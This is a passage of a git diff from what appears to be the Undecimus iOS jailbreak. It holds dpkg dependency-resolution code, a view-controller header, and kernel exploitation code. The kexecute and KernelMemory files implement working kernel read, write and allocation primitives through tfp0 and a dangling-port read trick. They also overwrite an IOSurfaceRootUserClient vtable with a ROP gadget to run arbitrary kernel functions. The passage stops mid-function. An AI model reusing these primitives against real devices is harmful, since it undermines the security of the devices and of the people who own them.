upstream2 = [version2 substringWithRange:[mainVersion2Parts rangeAtIndex:4]];
|
||||
} else {
|
||||
upstream2 = [version2 substringWithRange:[mainVersion2Parts rangeAtIndex:2]];
|
||||
}
|
||||
|
||||
NSString *deb1;
|
||||
if (NSEqualRanges([mainVersion1Parts rangeAtIndex:3], NSMakeRange(NSNotFound, 0))) {
|
||||
deb1 = @"0";
|
||||
} else {
|
||||
deb1 = [version1 substringWithRange:[mainVersion1Parts rangeAtIndex:3]];
|
||||
}
|
||||
|
||||
NSString *deb2;
|
||||
if (NSEqualRanges([mainVersion2Parts rangeAtIndex:3], NSMakeRange(NSNotFound, 0))) {
|
||||
deb2 = @"0";
|
||||
} else {
|
||||
deb2 = [version2 substringWithRange:[mainVersion2Parts rangeAtIndex:3]];
|
||||
}
|
||||
|
||||
enum dpkgComparisonResult res = testComp(versioncomp(epoch1, epoch2), op, false);
|
||||
if (res == resPending)
|
||||
res = testComp(versioncomp(upstream1, upstream2), op, false);
|
||||
if (res == resPending)
|
||||
res = testComp(versioncomp(deb1, deb2), op, true);
|
||||
|
||||
*result = res == resSatisfied;
|
||||
return YES;
|
||||
}
|
||||
|
||||
NSArray *getDepsForPkg(NSString *pkg) {
|
||||
NSDictionary *pkgs = getPkgs();
|
||||
|
||||
return pkgs[pkg][@"Depends"];
|
||||
}
|
||||
|
||||
NSArray *getPreDepsForPkg(NSString *pkg) {
|
||||
NSDictionary *pkgs = getPkgs();
|
||||
|
||||
return pkgs[pkg][@"Pre-Depends"];
|
||||
}
|
||||
|
||||
NSArray *allDepsForPkg(NSString *pkg) {
|
||||
NSArray *deps = getDepsForPkg(pkg);
|
||||
NSArray *predeps = getPreDepsForPkg(pkg);
|
||||
if (deps) {
|
||||
return [deps arrayByAddingObjectsFromArray:predeps];
|
||||
}
|
||||
return predeps;
|
||||
}
|
||||
|
||||
NSArray *resolveDepsForPkgWithQueue(NSString *pkg, NSMutableArray *queue, BOOL preDeps) {
|
||||
NSArray *deps = preDeps?allDepsForPkg(pkg):getDepsForPkg(pkg);
|
||||
NSDictionary *pkgs = getPkgs();
|
||||
|
||||
if (queue == nil) {
|
||||
queue = [NSMutableArray new];
|
||||
}
|
||||
|
||||
if (deps == nil) {
|
||||
return queue;
|
||||
}
|
||||
|
||||
if (deps.count < 1) {
|
||||
return queue;
|
||||
}
|
||||
|
||||
NSRegularExpression *or = [NSRegularExpression regularExpressionWithPattern:@"\\s*([^\\|]+)\\s*\\|?" options:0 error:nil];
|
||||
for (NSString *dep in deps) {
|
||||
BOOL __block resolved = NO;
|
||||
[or enumerateMatchesInString:dep options:0 range:NSMakeRange(0, dep.length) usingBlock:^(NSTextCheckingResult * _Nullable result, NSMatchingFlags flags, BOOL * _Nonnull stop) {
|
||||
NSString *match = [dep substringWithRange:[result rangeAtIndex:1]];
|
||||
NSDictionary *ver = parseDependsOrProvides(match);
|
||||
// LOG("Match: %@ op: %@ ver: %@", ver[@"name"], ver[@"op"], ver[@"ver"]);
|
||||
match = ver[@"name"];
|
||||
if (pkgs[match] != nil) {
|
||||
if (ver[@"op"]) {
|
||||
compareDpkgVersion(pkgs[match][@"Version"], ver[@"op"], ver[@"ver"], &resolved);
|
||||
} else {
|
||||
resolved = YES;
|
||||
}
|
||||
if (resolved && ![queue containsObject:match]) {
|
||||
[queue addObject:match];
|
||||
if (resolveDepsForPkgWithQueue(match, queue, preDeps) == nil) {
|
||||
LOG("Unmarking %@ as resolved because deps could not be satisified", match);
|
||||
resolved = NO;
|
||||
[queue removeObject:match];
|
||||
} else {
|
||||
// Move to the end of the queue so deps are installed first
|
||||
[queue removeObject:match];
|
||||
[queue addObject:match];
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!resolved) {
|
||||
// LOG("Unable to resolve dep: %@ for %@ - trying provides", dep, pkg);
|
||||
for (NSString *pkg in pkgs.allKeys) {
|
||||
for (NSString *provide in pkgs[pkg][@"Provides"]) {
|
||||
NSDictionary *provided = parseDependsOrProvides(provide);
|
||||
if ([provided[@"name"] isEqualToString:match]) {
|
||||
if (ver[@"op"]) {
|
||||
if (provided[@"op"] && [provided[@"op"] isEqualToString:@"="]) {
|
||||
compareDpkgVersion(provided[@"ver"], ver[@"op"], ver[@"ver"], &resolved);
|
||||
}
|
||||
} else {
|
||||
resolved = YES;
|
||||
}
|
||||
}
|
||||
if (resolved && ![queue containsObject:pkg]) {
|
||||
[queue addObject:pkg];
|
||||
if (resolveDepsForPkgWithQueue(pkg, queue, preDeps) == nil) {
|
||||
LOG("Unmarking %@ as resolved because deps could not be satisified", match);
|
||||
resolved = NO;
|
||||
[queue removeObject:pkg];
|
||||
} else {
|
||||
[queue removeObject:pkg];
|
||||
[queue addObject:pkg];
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (resolved)
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
*stop = resolved;
|
||||
}];
|
||||
if (!resolved) {
|
||||
LOG("Unable to resolve dep: %@ for %@", dep, pkg);
|
||||
return nil;
|
||||
}
|
||||
}
|
||||
[queue removeObject:pkg];
|
||||
[queue addObject:pkg];
|
||||
return queue;
|
||||
}
|
||||
|
||||
NSArray *resolveDepsForPkg(NSString *pkg, BOOL preDeps) {
|
||||
if (pkg == nil) {
|
||||
return nil;
|
||||
}
|
||||
return resolveDepsForPkgWithQueue(pkg, nil, preDeps);
|
||||
}
|
||||
|
||||
BOOL extractDebsForPkg(NSString *pkg, NSMutableArray *installed, BOOL preDeps) {
|
||||
NSArray *pkgsForPkg = resolveDepsForPkg(pkg, preDeps);
|
||||
if (pkgsForPkg == nil || pkgsForPkg.count < 1) {
|
||||
return NO;
|
||||
}
|
||||
NSMutableArray *debsForPkg = [debsForPkgs(pkgsForPkg) mutableCopy];
|
||||
if (debsForPkg == nil) {
|
||||
return NO;
|
||||
}
|
||||
if (installed != nil) {
|
||||
[debsForPkg removeObjectsInArray:installed];
|
||||
}
|
||||
if (debsForPkg.count < 1) {
|
||||
// Already installed all these
|
||||
return YES;
|
||||
}
|
||||
if (!extractDebs(debsForPkg)) {
|
||||
return NO;
|
||||
}
|
||||
[installed addObjectsFromArray:debsForPkg];
|
||||
return YES;
|
||||
}
|
||||
|
||||
NSDictionary *getPkgs(void) {
|
||||
static NSDictionary *pkgs = nil;
|
||||
static dispatch_once_t token;
|
||||
dispatch_once(&token, ^{
|
||||
NSMutableDictionary *mpkgs = [NSMutableDictionary new];
|
||||
NSString *pkgs_path = pathForResource(@"apt/Packages");
|
||||
if (pkgs_path == nil) {
|
||||
return;
|
||||
}
|
||||
|
||||
FILE *pkgs_file = fopen(pkgs_path.UTF8String, "r");
|
||||
if (pkgs_file == NULL) {
|
||||
return;
|
||||
}
|
||||
char *line = NULL;
|
||||
size_t linelen = 0;
|
||||
NSString *pkg_id = nil;
|
||||
while (getline(&line, &linelen, pkgs_file) != -1) {
|
||||
char *newline = strchr(line, '\n');
|
||||
if (newline) {
|
||||
*newline = '\0';
|
||||
}
|
||||
char *val = strchr(line, ':');
|
||||
if (val == NULL) {
|
||||
pkg_id = nil;
|
||||
continue;
|
||||
}
|
||||
char *field = line;
|
||||
field[val - line] = '\0';
|
||||
do {
|
||||
val++;
|
||||
} while (*val == ' ');
|
||||
if (strcmp(field, "Package") == 0) {
|
||||
pkg_id = @(val);
|
||||
mpkgs[pkg_id] = [NSMutableDictionary new];
|
||||
} else {
|
||||
if (![mpkgs[pkg_id] isKindOfClass:[NSMutableDictionary class]]) {
|
||||
LOG("Error reading Packages, Package: must come before values");
|
||||
fclose(pkgs_file);
|
||||
return;
|
||||
}
|
||||
// LOG(@"pkgs[%@][%s] = %s\n", pkg_id, field, val);
|
||||
if (strcmp(field, "Depends") == 0 ||
|
||||
strcmp(field, "Pre-Depends") == 0 ||
|
||||
strcmp(field, "Conflicts") == 0 ||
|
||||
strcmp(field, "Provides") == 0
|
||||
) {
|
||||
mpkgs[pkg_id][@(field)] = [@(val) componentsSeparatedByString:@", "];
|
||||
} else {
|
||||
mpkgs[pkg_id][@(field)] = @(val);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (line) {
|
||||
free(line);
|
||||
line = NULL;
|
||||
}
|
||||
fclose(pkgs_file);
|
||||
|
||||
mpkgs[@"firmware"] = @{
|
||||
@"Version": [[UIDevice currentDevice] systemVersion],
|
||||
@"Filename": @"virtual"
|
||||
};
|
||||
mpkgs[@"firmware-sbin"] = @{
|
||||
@"Version": @"0-1",
|
||||
@"Filename": @"virtual"
|
||||
};
|
||||
|
||||
pkgs = [mpkgs copy];
|
||||
});
|
||||
return pkgs;
|
||||
}
|
||||
|
||||
NSString *debForPkg(NSString *pkg) {
|
||||
NSDictionary *pkgs = getPkgs();
|
||||
NSString *file = pkgs[pkg][@"Filename"];
|
||||
if (file == nil) {
|
||||
LOG(@"file == nil");
|
||||
return nil;
|
||||
}
|
||||
if ([file isEqualToString:@"virtual"]) {
|
||||
return @"virtual";
|
||||
}
|
||||
|
||||
return pathForResource([@"apt" stringByAppendingPathComponent:file]);
|
||||
}
|
||||
|
||||
NSString *versionOfPkg(NSString *pkg) {
|
||||
NSDictionary *pkgs = getPkgs();
|
||||
|
||||
if (pkgs[pkg])
|
||||
return pkgs[pkg][@"Version"];
|
||||
|
||||
return nil;
|
||||
}
|
||||
|
||||
NSArray <NSString*> *debsForPkgs(NSArray <NSString*> *pkgs) {
|
||||
NSMutableArray *paths = [NSMutableArray new];
|
||||
for (NSString* pkg in pkgs) {
|
||||
NSString *path = debForPkg(pkg);
|
||||
if (!path) {
|
||||
LOG("Unable to resolve %@ to a deb", pkg);
|
||||
return nil;
|
||||
}
|
||||
if (![path isEqualToString:@"virtual"])
|
||||
[paths addObject:path];
|
||||
}
|
||||
return [paths copy];
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
//
|
||||
// JailbreakViewController.h
|
||||
// Undecimus
|
||||
//
|
||||
// Created by pwn20wnd on 8/29/18.
|
||||
// Copyright © 2018 - 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#import <UIKit/UIKit.h>
|
||||
#import "common.h"
|
||||
|
||||
#define __FILENAME__ (__builtin_strrchr(__FILE__, '/') ? __builtin_strrchr(__FILE__, '/') + 1 : __FILE__)
|
||||
|
||||
static NSString *message = nil;
|
||||
#define SETMESSAGE(msg) (message = msg)
|
||||
|
||||
#define _assert(test, message, fatal) do \
|
||||
if (!(test)) { \
|
||||
LOG("__assert(%d:%s)@%s:%u[%s]", errno, #test, __FILENAME__, __LINE__, __FUNCTION__); \
|
||||
if (message != nil) \
|
||||
showAlert(fatal ? @"Error (Fatal)" : @"Error (Nonfatal)", [NSString stringWithFormat:@"Errno: %d\nTest: %s\nFilename: %s\nLine: %d\nFunction: %s\nDescription: %@", errno, #test, __FILENAME__, __LINE__, __FUNCTION__, message], true, false); \
|
||||
else \
|
||||
showAlert(fatal ? @"Error (Fatal)" : @"Error (Nonfatal)", [NSString stringWithFormat:@"Errno: %d\nTest: %s\nFilename: %s\nLine: %d\nFunction: %s", errno, #test, __FILENAME__, __LINE__, __FUNCTION__], true, false); \
|
||||
if (fatal) \
|
||||
exit(EXIT_FAILURE); \
|
||||
} \
|
||||
while (false)
|
||||
|
||||
#define NOTICE(msg, wait, destructive) showAlert(@"Notice", msg, wait, destructive)
|
||||
|
||||
@interface JailbreakViewController : UIViewController
|
||||
@property (weak, nonatomic) IBOutlet UIButton *goButton;
|
||||
@property (weak, nonatomic) IBOutlet UITextView *outputView;
|
||||
@property (readonly) JailbreakViewController *sharedController;
|
||||
@property (weak, nonatomic) IBOutlet NSLayoutConstraint *goButtonSpacing;
|
||||
|
||||
double uptime(void);
|
||||
int necp_die(void);
|
||||
|
||||
NSString *hexFromInt(NSInteger val);
|
||||
|
||||
- (IBAction)tappedOnJailbreak:(id)sender;
|
||||
+(JailbreakViewController*)sharedController;
|
||||
- (void)appendTextToOutput:(NSString*)text;
|
||||
|
||||
@end
|
||||
|
||||
static inline void showAlert(NSString *title, NSString *message, Boolean wait, Boolean destructive) {
|
||||
dispatch_semaphore_t semaphore;
|
||||
if (wait)
|
||||
semaphore = dispatch_semaphore_create(0);
|
||||
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
JailbreakViewController *controller = [JailbreakViewController sharedController];
|
||||
[controller dismissViewControllerAnimated:YES completion:nil];
|
||||
UIAlertController *alertController = [UIAlertController alertControllerWithTitle:title message:message preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction *OK = [UIAlertAction actionWithTitle:@"OK" style:destructive ? UIAlertActionStyleDestructive : UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
if (wait)
|
||||
dispatch_semaphore_signal(semaphore);
|
||||
}];
|
||||
[alertController addAction:OK];
|
||||
[alertController setPreferredAction:OK];
|
||||
[controller presentViewController:alertController animated:YES completion:nil];
|
||||
});
|
||||
if (wait)
|
||||
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
Executable → Regular
+2
-2
@@ -1,7 +1,7 @@
|
||||
#include <mach/mach.h>
|
||||
#include <inttypes.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
mach_port_t prepare_user_client(void);
|
||||
void init_kexecute(uint64_t add_x0_x0_0x40_ret);
|
||||
void init_kexecute(void);
|
||||
void term_kexecute(void);
|
||||
uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6);
|
||||
Executable → Regular
+54
-52
@@ -1,32 +1,32 @@
|
||||
#include "KernelExecution.h"
|
||||
#include "KernelMemory.h"
|
||||
#include "KernelStructureOffsets.h"
|
||||
#include "KernelUtilities.h"
|
||||
#include <common.h>
|
||||
#include <iokit.h>
|
||||
#include <pthread.h>
|
||||
#include "kmem.h"
|
||||
#include "kexecute.h"
|
||||
#include "QiLin.h"
|
||||
#include "offsets.h"
|
||||
#include "iokit.h"
|
||||
|
||||
mach_port_t prepare_user_client() {
|
||||
mach_port_t prepare_user_client()
|
||||
{
|
||||
kern_return_t err;
|
||||
mach_port_t user_client;
|
||||
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
|
||||
|
||||
|
||||
if (service == IO_OBJECT_NULL) {
|
||||
printf(" [-] unable to find service\n");
|
||||
LOG("unable to find service");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
|
||||
err = IOServiceOpen(service, mach_task_self(), 0, &user_client);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf(" [-] unable to get user client connection\n");
|
||||
LOG("unable to get user client connection");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
|
||||
printf("got user client: 0x%x\n", user_client);
|
||||
|
||||
LOG("got user client: 0x%x", user_client);
|
||||
return user_client;
|
||||
}
|
||||
|
||||
// TODO: Consider removing this - jailbreakd runs all kernel ops on the main thread
|
||||
pthread_mutex_t kexecute_lock;
|
||||
static mach_port_t user_client;
|
||||
static uint64_t IOSurfaceRootUserClient_port;
|
||||
@@ -35,76 +35,78 @@ static uint64_t fake_vtable;
|
||||
static uint64_t fake_client;
|
||||
const int fake_kalloc_size = 0x1000;
|
||||
|
||||
void init_kexecute(uint64_t add_x0_x0_0x40_ret) {
|
||||
void init_kexecute()
|
||||
{
|
||||
user_client = prepare_user_client();
|
||||
|
||||
|
||||
// From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
|
||||
IOSurfaceRootUserClient_port = getAddressOfPort(getpid(), user_client); // UserClients are just mach_ports, so we find its address
|
||||
|
||||
IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); // The UserClient itself (the C++ object) is at the kobject field
|
||||
|
||||
uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
|
||||
|
||||
IOSurfaceRootUserClient_port = get_address_of_port(getpid(), user_client); // UserClients are just mach_ports, so we find its address
|
||||
|
||||
IOSurfaceRootUserClient_addr = ReadKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); // The UserClient itself (the C++ object) is at the kobject field
|
||||
|
||||
uint64_t IOSurfaceRootUserClient_vtab = ReadKernel64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
|
||||
|
||||
// The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
|
||||
// Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel
|
||||
|
||||
|
||||
// Create the vtable in the kernel memory, then copy the existing vtable into there
|
||||
fake_vtable = kmem_alloc(fake_kalloc_size);
|
||||
|
||||
|
||||
for (int i = 0; i < 0x200; i++) {
|
||||
wk64(fake_vtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8));
|
||||
WriteKernel64(fake_vtable + i * 8, ReadKernel64(IOSurfaceRootUserClient_vtab + i * 8));
|
||||
}
|
||||
|
||||
|
||||
// Create the fake user client
|
||||
fake_client = kmem_alloc(fake_kalloc_size);
|
||||
|
||||
|
||||
for (int i = 0; i < 0x200; i++) {
|
||||
wk64(fake_client+i*8, rk64(IOSurfaceRootUserClient_addr+i*8));
|
||||
WriteKernel64(fake_client + i * 8, ReadKernel64(IOSurfaceRootUserClient_addr + i * 8));
|
||||
}
|
||||
|
||||
|
||||
// Write our fake vtable into the fake user client
|
||||
wk64(fake_client, fake_vtable);
|
||||
|
||||
WriteKernel64(fake_client, fake_vtable);
|
||||
|
||||
// Replace the user client with ours
|
||||
wk64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_client);
|
||||
|
||||
WriteKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_client);
|
||||
|
||||
// Now the userclient port we have will look into our fake user client rather than the old one
|
||||
|
||||
|
||||
// Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
|
||||
wk64(fake_vtable+8*0xB7, add_x0_x0_0x40_ret);
|
||||
|
||||
WriteKernel64(fake_vtable + 8 * 0xB7, GETOFFSET(add_x0_x0_0x40_ret));
|
||||
|
||||
pthread_mutex_init(&kexecute_lock, NULL);
|
||||
}
|
||||
|
||||
void term_kexecute() {
|
||||
wk64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), IOSurfaceRootUserClient_addr);
|
||||
void term_kexecute()
|
||||
{
|
||||
WriteKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), IOSurfaceRootUserClient_addr);
|
||||
kmem_free(fake_vtable, fake_kalloc_size);
|
||||
kmem_free(fake_client, fake_kalloc_size);
|
||||
}
|
||||
|
||||
uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) {
|
||||
uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6)
|
||||
{
|
||||
pthread_mutex_lock(&kexecute_lock);
|
||||
|
||||
|
||||
// When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex
|
||||
// to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.
|
||||
// This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the
|
||||
// function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed
|
||||
// through like normal.
|
||||
|
||||
|
||||
// Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it
|
||||
// We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
|
||||
// (i'm not actually sure if the switch back is necessary but meh)
|
||||
|
||||
uint64_t offx20 = rk64(fake_client+0x40);
|
||||
uint64_t offx28 = rk64(fake_client+0x48);
|
||||
wk64(fake_client+0x40, x0);
|
||||
wk64(fake_client+0x48, addr);
|
||||
uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6));
|
||||
wk64(fake_client+0x40, offx20);
|
||||
wk64(fake_client+0x48, offx28);
|
||||
|
||||
|
||||
uint64_t offx20 = ReadKernel64(fake_client + 0x40);
|
||||
uint64_t offx28 = ReadKernel64(fake_client + 0x48);
|
||||
WriteKernel64(fake_client + 0x40, x0);
|
||||
WriteKernel64(fake_client + 0x48, addr);
|
||||
uint64_t returnval = IOConnectTrap6(user_client, 0, x1, x2, x3, x4, x5, x6);
|
||||
WriteKernel64(fake_client + 0x40, offx20);
|
||||
WriteKernel64(fake_client + 0x48, offx28);
|
||||
|
||||
pthread_mutex_unlock(&kexecute_lock);
|
||||
|
||||
|
||||
return returnval;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,305 @@
|
||||
#include <mach/mach.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "KernelMemory.h"
|
||||
#include "KernelUtilities.h"
|
||||
#include <common.h>
|
||||
|
||||
// the exploit bootstraps the full kernel memory read/write with a fake
|
||||
// task which just allows reading via the bsd_info->pid trick
|
||||
// this first port is kmem_read_port
|
||||
mach_port_t kmem_read_port = MACH_PORT_NULL;
|
||||
void prepare_rk_via_kmem_read_port(mach_port_t port)
|
||||
{
|
||||
kmem_read_port = port;
|
||||
}
|
||||
|
||||
mach_port_t tfp0 = MACH_PORT_NULL;
|
||||
void prepare_rwk_via_tfp0(mach_port_t port)
|
||||
{
|
||||
tfp0 = port;
|
||||
}
|
||||
|
||||
void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0)
|
||||
{
|
||||
tfp0 = fake_tfp0;
|
||||
}
|
||||
|
||||
bool have_kmem_read()
|
||||
{
|
||||
return (kmem_read_port != MACH_PORT_NULL) || (tfp0 != MACH_PORT_NULL);
|
||||
}
|
||||
|
||||
bool have_kmem_write()
|
||||
{
|
||||
return (tfp0 != MACH_PORT_NULL);
|
||||
}
|
||||
|
||||
size_t kread(uint64_t where, void* p, size_t size)
|
||||
{
|
||||
int rv;
|
||||
size_t offset = 0;
|
||||
while (offset < size) {
|
||||
mach_vm_size_t sz, chunk = 2048;
|
||||
if (chunk > size - offset) {
|
||||
chunk = size - offset;
|
||||
}
|
||||
rv = mach_vm_read_overwrite(tfp0,
|
||||
where + offset,
|
||||
chunk,
|
||||
(mach_vm_address_t)p + offset,
|
||||
&sz);
|
||||
if (rv || sz == 0) {
|
||||
LOG("error reading kernel @%p", (void*)(offset + where));
|
||||
break;
|
||||
}
|
||||
offset += sz;
|
||||
}
|
||||
return offset;
|
||||
}
|
||||
|
||||
size_t kwrite(uint64_t where, const void* p, size_t size)
|
||||
{
|
||||
int rv;
|
||||
size_t offset = 0;
|
||||
while (offset < size) {
|
||||
size_t chunk = 2048;
|
||||
if (chunk > size - offset) {
|
||||
chunk = size - offset;
|
||||
}
|
||||
rv = mach_vm_write(tfp0,
|
||||
where + offset,
|
||||
(mach_vm_offset_t)p + offset,
|
||||
(mach_msg_type_number_t)chunk);
|
||||
if (rv) {
|
||||
LOG("error writing kernel @%p", (void*)(offset + where));
|
||||
break;
|
||||
}
|
||||
offset += chunk;
|
||||
}
|
||||
return offset;
|
||||
}
|
||||
|
||||
bool wkbuffer(uint64_t kaddr, void* buffer, size_t length)
|
||||
{
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
|
||||
sleep(3);
|
||||
return false;
|
||||
}
|
||||
|
||||
return (kwrite(kaddr, buffer, length) == length);
|
||||
}
|
||||
|
||||
bool rkbuffer(uint64_t kaddr, void* buffer, size_t length)
|
||||
{
|
||||
return (kread(kaddr, buffer, length) == length);
|
||||
}
|
||||
|
||||
void WriteKernel32(uint64_t kaddr, uint32_t val)
|
||||
{
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
wkbuffer(kaddr, &val, sizeof(val));
|
||||
}
|
||||
|
||||
void WriteKernel64(uint64_t kaddr, uint64_t val)
|
||||
{
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
wkbuffer(kaddr, &val, sizeof(val));
|
||||
}
|
||||
|
||||
uint32_t rk32_via_kmem_read_port(uint64_t kaddr)
|
||||
{
|
||||
kern_return_t err;
|
||||
if (kmem_read_port == MACH_PORT_NULL) {
|
||||
LOG("kmem_read_port not set, have you called prepare_rk?");
|
||||
sleep(10);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
mach_port_context_t context = (mach_port_context_t)kaddr - 0x10;
|
||||
err = mach_port_set_context(mach_task_self(), kmem_read_port, context);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("error setting context off of dangling port: %x %s", err, mach_error_string(err));
|
||||
sleep(10);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// now do the read:
|
||||
uint32_t val = 0;
|
||||
err = pid_for_task(kmem_read_port, (int*)&val);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("error calling pid_for_task %x %s", err, mach_error_string(err));
|
||||
sleep(10);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return val;
|
||||
}
|
||||
|
||||
uint32_t rk32_via_tfp0(uint64_t kaddr)
|
||||
{
|
||||
uint32_t val = 0;
|
||||
rkbuffer(kaddr, &val, sizeof(val));
|
||||
return val;
|
||||
}
|
||||
|
||||
uint64_t rk64_via_kmem_read_port(uint64_t kaddr)
|
||||
{
|
||||
uint64_t lower = rk32_via_kmem_read_port(kaddr);
|
||||
uint64_t higher = rk32_via_kmem_read_port(kaddr + 4);
|
||||
uint64_t full = ((higher << 32) | lower);
|
||||
return full;
|
||||
}
|
||||
|
||||
uint64_t rk64_via_tfp0(uint64_t kaddr)
|
||||
{
|
||||
uint64_t val = 0;
|
||||
rkbuffer(kaddr, &val, sizeof(val));
|
||||
return val;
|
||||
}
|
||||
|
||||
uint32_t ReadKernel32(uint64_t kaddr)
|
||||
{
|
||||
if (tfp0 != MACH_PORT_NULL) {
|
||||
return rk32_via_tfp0(kaddr);
|
||||
}
|
||||
|
||||
if (kmem_read_port != MACH_PORT_NULL) {
|
||||
return rk32_via_kmem_read_port(kaddr);
|
||||
}
|
||||
|
||||
LOG("attempt to read kernel memory but no kernel memory read primitives available");
|
||||
sleep(3);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
uint64_t ReadKernel64(uint64_t kaddr)
|
||||
{
|
||||
if (tfp0 != MACH_PORT_NULL) {
|
||||
return rk64_via_tfp0(kaddr);
|
||||
}
|
||||
|
||||
if (kmem_read_port != MACH_PORT_NULL) {
|
||||
return rk64_via_kmem_read_port(kaddr);
|
||||
}
|
||||
|
||||
LOG("attempt to read kernel memory but no kernel memory read primitives available");
|
||||
sleep(3);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
const uint64_t kernel_address_space_base = 0xffff000000000000;
|
||||
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length)
|
||||
{
|
||||
if (dest >= kernel_address_space_base) {
|
||||
// copy to kernel:
|
||||
wkbuffer(dest, (void*)src, length);
|
||||
} else {
|
||||
// copy from kernel
|
||||
rkbuffer(src, (void*)dest, length);
|
||||
}
|
||||
}
|
||||
|
||||
uint64_t kmem_alloc(uint64_t size)
|
||||
{
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to allocate kernel memory before any kernel memory write primitives available");
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
mach_vm_address_t addr = 0;
|
||||
mach_vm_size_t ksize = round_page_kernel(size);
|
||||
err = mach_vm_allocate(tfp0, &addr, ksize, VM_FLAGS_ANYWHERE);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to allocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
return addr;
|
||||
}
|
||||
|
||||
uint64_t kmem_alloc_wired(uint64_t size)
|
||||
{
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to allocate kernel memory before any kernel memory write primitives available");
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
mach_vm_address_t addr = 0;
|
||||
mach_vm_size_t ksize = round_page_kernel(size);
|
||||
|
||||
LOG("vm_kernel_page_size: %lx", vm_kernel_page_size);
|
||||
|
||||
err = mach_vm_allocate(tfp0, &addr, ksize + 0x4000, VM_FLAGS_ANYWHERE);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to allocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
|
||||
LOG("allocated address: %llx", addr);
|
||||
|
||||
addr += 0x3fff;
|
||||
addr &= ~0x3fffull;
|
||||
|
||||
LOG("address to wire: %llx", addr);
|
||||
|
||||
